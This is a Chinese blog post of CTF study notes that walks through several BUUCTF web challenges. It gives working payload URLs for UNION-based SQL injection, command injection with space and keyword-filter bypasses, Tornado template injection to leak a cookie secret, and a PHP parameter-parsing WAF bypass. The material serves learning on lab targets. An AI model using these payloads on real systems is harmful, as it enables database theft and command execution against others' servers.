BUUCTF - WEB 学习笔记

[极客大挑战 2019]LoveSQL

1
注意:在语句中空格用 + 来代替

http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=admin%27+order+by+4%23&password=123456
2. 测试字段数


可以看到当测试4的时候出现了报错,这就说明一共有3个字段
3. 测试回显点
http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=-1%27+union%20select+1,2,3%23&password=123456

可以看到这里的界面上出现了2、3,这就就是说明这里就是回显点
4. 通过回显点查看表名
http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=-1%27+union%20select+1,database(),group_concat(table_name)+from%20information_schema.tables+where+table_schema=database()%23&password=123456

5. 通过回显点查看字段名
http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=-1%27+union%20select+1,database(),group_concat(column_name)+from%20information_schema.columns+where+table_name=%27l0ve1ysq1%27%23&password=123456

6. 通过回显点查看字段内容
http://656b8f53-0186-40bb-971a-f55a55d57093.node3.buuoj.cn/check.php?username=-1%27+union%20select+1,database(),group_concat(username,password)+from+l0ve1ysq1%23&password=123456

得到 flag{587fad9e-b313-45ac-8197-2240a49193f8}

[GXYCTF2019]Ping Ping Ping

  1. 常用的测试符号
    || && | &

  2. 测试下127.0.0.1
    http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1

  3. 测试下ifconfig
    http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||ifconfig

  4. 查看当前文件夹的内容
    http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||ls

  5. 查看文件内容
    http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||cat%20flag.php

    可以看到页面上提示干掉了space,说明做了黑名单处理。

  6. 绕过空格
    ${IFS}替换 $IFS$1替换 ${IFS替换 %20替换 <和<>重定向符替换 %09替换
    http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||cat$IFS$1flag.php

    再次看到提示,发现过滤到flag

  7. 查看index页面内容
    http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||cat$IFS$1index.php

    可以看到这里过滤掉以下这些字符
    "/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" "/ /" "/bash/" "/.*f.*l.*a.*g.*/"

  8. 拼接flag
    http://2fdbe825-12bd-4e84-bf8d-8f78bc60535c.node3.buuoj.cn/?ip=127.0.0.1||a=g;cat$IFS$1fla$a.php

    检查源码后发现flag

[ACTF2020 新生赛]Exec

  1. 测试ifconfig命令
  2. 使用ls查看文件

    可以看到这里并没有flag文件
  3. 查看根目录

    发现flag文件
  4. 使用cat查看内容

    得到flag

[极客大挑战 2019]Knife

  1. 根据提示打开中国蚁剑

  2. 查找flag

得到flag{55163827-321c-49b0-aead-4e61d95cab2c}

[护网杯 2018]easy_tornado

  1. 查看flag.txt文件
    发现/fllllllllllllag
  2. 访问/fllllllllllllag

    发现报错了
  3. 查看提示文件hint.txt

    md5(cookie_secret+md5(filename))
    可以知道要构造这样的语句才可以
  4. 测试页面是否存在模板注入
    http://fffedab5-b962-4914-a50c-b7b958393b49.node3.buuoj.cn/error?msg={{2%3E1}}

    通过发现确实存在模板注入可能
  5. 查看tornado相关信息
    tornado
  6. 通过官方文件检索cookie_secret的信息
    通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名,这里参考师傅们的wp。

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings 因此handler.settings指向RequestHandler.application.settings。 构造payload获取cookie_secret /error?msg={{handler.settings}}
7. 查看hander.settings
http://fffedab5-b962-4914-a50c-b7b958393b49.node3.buuoj.cn/error?msg={{handler.settings}}

得到'cookie_secret': '2ad9bfb9-05e1-483a-a960-ea7769240841'
8. 构造语句
import hashlib cookie_secret=r'2ad9bfb9-05e1-483a-a960-ea7769240841' def md5(code): temp = hashlib.md5(str(code)).hexdigest() return temp filename = '/fllllllllllllag' res = md5(cookie_secret + md5(filename)) print res
cb90adc1f3a3ea57d4627b9969ded8b1
9. 查看flag
http://fffedab5-b962-4914-a50c-b7b958393b49.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=cb90adc1f3a3ea57d4627b9969ded8b1

得到flag{e207da62-a474-4cf1-8a8a-b17bb1f100d8}

[RoarCTF 2019]Easy Calc


参考

  1. 知识学习
    我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过: /news.php?%20news[id%00=42"+AND+1=0– 上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符 2.将某些字符转换为下划线(包括空格) 换句话说 假如waf不允许num变量传递字母: http://www.xxx.com/index.php?num = aaaa //显示非法输入的话 那么我们可以在num前加个空格: http://www.xxx.com/index.php? num = aaaa 这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
  2. 构造语句
    查看文件
    http://node3.buuoj.cn:25593/calc.php?%20num=1;var_dump(scandir(chr(47)))

    读取文件内容
    calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

    得到flag
posted @ 2021-03-25 19:43  MTcx  阅读(121)  评论(0编辑  收藏  举报